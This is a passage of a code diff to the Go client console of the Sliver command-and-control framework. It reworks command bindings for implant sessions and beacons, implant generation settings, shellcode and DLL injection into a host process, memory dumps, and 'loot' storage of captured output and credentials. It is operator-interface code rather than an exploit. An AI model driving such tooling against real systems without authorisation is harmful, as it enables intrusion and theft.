con.App.AddCommand(&grumble.Command{
Name: consts.RenameStr,
Help: "Rename the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.RenameCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ Sessions ] --------------------------------------------------------------
sessionsCmd := &grumble.Command{
@@ -559,10 +514,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("k", "kill", "", "kill the designated session")
f.Bool("K", "kill-all", false, "kill all the sessions")
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
f.Bool("F", "force", false, "force session action without waiting for results")
f.String("f", "filter", "", "filter sessions by substring")
f.String("e", "filter-re", "", "filter sessions by regular expression")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -579,7 +530,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Kill all stale/dead sessions",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
f.Bool("F", "force", false, "Force the killing of stale/dead sessions")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -593,6 +543,26 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(sessionsCmd)
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active session",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "agent name to change to")
f.Int("r", "reconnect", -1, "reconnect interval for agent")
f.Int("p", "poll", -1, "poll interval for agent")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.SessionsReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.BackgroundStr,
Help: "Background an active session",
@@ -620,7 +590,7 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("F", "force", false, "Force kill, does not clean up")
f.Bool("f", "force", false, "Force kill, does not clean up")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -994,12 +964,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("o", "output", false, "capture command output")
f.Bool("s", "save", false, "save output to a file")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1032,7 +1000,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1077,8 +1044,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -1104,8 +1069,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
},
@@ -1260,9 +1223,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1317,9 +1277,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1468,9 +1425,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1526,13 +1480,10 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1647,24 +1598,6 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Filesystem ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.MvStr,
Help: "Move or rename a file",
LongHelp: help.GetHelpFor([]string{consts.MvStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("src", "path to source file")
a.String("dst", "path to dest file")
},
Run: func(ctx *grumble.Context) error {
err := filesystem.MvCmd(ctx, con)
return err
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.LsStr,
Help: "List current directory",
@@ -1693,7 +1626,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Bool("r", "recursive", false, "recursively remove files")
f.Bool("F", "force", false, "ignore safety and forcefully remove files")
f.Bool("f", "force", false, "ignore safety and forcefully remove files")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1772,9 +1705,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "colorize-output", false, "colorize output")
f.Bool("x", "hex", false, "display as a hex dump")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting (optional)")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting (optional)")
},
Args: func(a *grumble.Args) {
a.String("path", "path to the file to print")
@@ -1796,9 +1726,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("X", "loot", false, "save output as loot")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
f.String("n", "name", "", "name to assign the download if looting")
},
Args: func(a *grumble.Args) {
a.String("remote-path", "path to the file or directory to download")
@@ -1909,8 +1836,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("p", "pid", -1, "target pid")
f.String("n", "name", "", "target process name")
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.String("N", "loot-name", "", "name to assign when adding the memory dump to the loot store (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1937,7 +1862,7 @@ func BindCommands(con *console.SliverConsoleClient) {
a.Uint("pid", "pid")
},
Flags: func(f *grumble.Flags) {
f.Bool("F", "force", false, "disregard safety and kill the PID")
f.Bool("f", "force", false, "disregard safety and kill the PID")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2144,7 +2069,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2188,10 +2112,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("k", "kill", "", "kill a beacon")
f.Bool("K", "kill-all", false, "kill all beacons")
f.Bool("F", "force", false, "force killing of the beacon")
f.String("f", "filter", "", "filter beacons by substring")
f.String("e", "filter-re", "", "filter beacons by regular expression")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.GenericHelpGroup,
@@ -2775,7 +2695,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
f.Uint64("i", "id", 0, "id of portfwd to remove")
f.Int("i", "id", 0, "id of portfwd to remove")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -2861,7 +2781,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Add a remote file from the current session to the server's loot store",
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
Args: func(a *grumble.Args) {
a.String("path", "The file path on the remote host to the loot")
a.String("path", "The local file path to the loot")
},
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "name of this piece of loot")
+38 -10
View File
@@ -20,10 +20,13 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -77,7 +80,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("%s", err)
return
}
hostName := getHostname(session, beacon)
hostname := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
@@ -85,27 +88,52 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
}
}
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, _ = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
if saveLoot {
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+1 -1
View File
@@ -125,7 +125,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
return
}
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
+18 -128
View File
@@ -18,11 +18,7 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
@@ -45,12 +41,6 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
var captureOutput bool = output || saveLoot || saveOutput
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -66,7 +56,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
@@ -75,7 +65,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
@@ -94,42 +84,22 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
PrintExecute(exec, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
PrintExecute(exec, ctx, con)
}
}
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
var lootedOutput []byte
stdout := ctx.Flags.String("stdout")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
lootName := ctx.Flags.String("name")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
if saveLoot || saveOutput {
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
}
if saveLoot {
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
}
if saveOutput {
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
}
PrintExecute(exec, ctx, con)
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("output")
if !output {
@@ -141,14 +111,17 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
return
}
combined := ""
if stdout == "" {
con.PrintInfof("Output:\n%s", string(exec.Stdout))
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
@@ -158,96 +131,13 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
func determineCommandName(command string) string {
commandName := strings.ReplaceAll(command, "\\", "/")
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
if strings.Contains(commandName, ".") {
commandName = commandName[:strings.LastIndex(commandName, ".")]
}
return commandName
}
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
var outputString string = ""
if combineStdOut {
outputString += "Output (stdout):\n" + string(exec.Stdout)
}
if combineStdErr {
if combineStdOut {
outputString += "\n"
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
outputString += "Stderr:\n" + string(exec.Stderr)
}
return []byte(outputString)
}
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
if len(commandOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
shortCommandName := determineCommandName(cmdName)
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
if lootName == "" {
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
}
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
loot.SendLootMessage(lootMessage, con)
}
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
con.PrintInfof("Output:\n%s", executionOutput)
if saveOutput {
SaveExecutionOutput(executionOutput, commandName, hostName, con)
}
}
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
var outFilePath *os.File
var err error
if len(executionOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to save.")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = ioutil.TempFile("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if outFilePath != nil {
outFilePath.Write([]byte(executionOutput))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+20 -12
View File
@@ -22,6 +22,7 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -69,7 +70,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostName := getHostname(session, beacon)
hostname := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
@@ -77,27 +78,34 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
PrintSideload(sideload, hostname, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
PrintSideload(sideload, hostname, ctx, con)
}
}
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideload.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+21 -12
View File
@@ -4,6 +4,8 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
@@ -46,7 +48,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
hostName := getHostname(session, beacon)
hostname := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
@@ -54,27 +56,34 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
PrintSpawnDll(spawndll, hostname, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
PrintSpawnDll(spawndll, hostname, ctx, con)
}
}
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawndll.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+3 -11
View File
@@ -31,7 +31,6 @@ import (
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
@@ -59,7 +58,6 @@ type ExtensionManifest struct {
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
@@ -173,9 +171,8 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
loadedExtensions[extCmd.CommandName] = extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Name: extCmd.CommandName,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
@@ -195,15 +192,12 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "integer", "short":
case "int", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
default:
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
return
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
@@ -426,8 +420,6 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "integer":
fallthrough
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
+2 -30
View File
@@ -27,7 +27,6 @@ import (
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -50,14 +49,10 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -79,39 +74,16 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
lootDownload bool = true
err error
)
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
userLootType := ctx.Flags.String("type")
userLootFileType := ctx.Flags.String("file-type")
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
}
}
if saveLoot {
lootType, err := loot.ValidateLootType(userLootType)
if err != nil {
con.PrintErrorf("%s\n", err)
// Even if the loot type is bad, we can still print the result to the screen
// We will not loot it though
lootDownload = false
}
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
if lootDownload {
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
con.Printf("\n")
return
}
}
if ctx.Flags.Bool("colorize-output") {
+54 -66
View File
@@ -24,28 +24,41 @@ import (
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
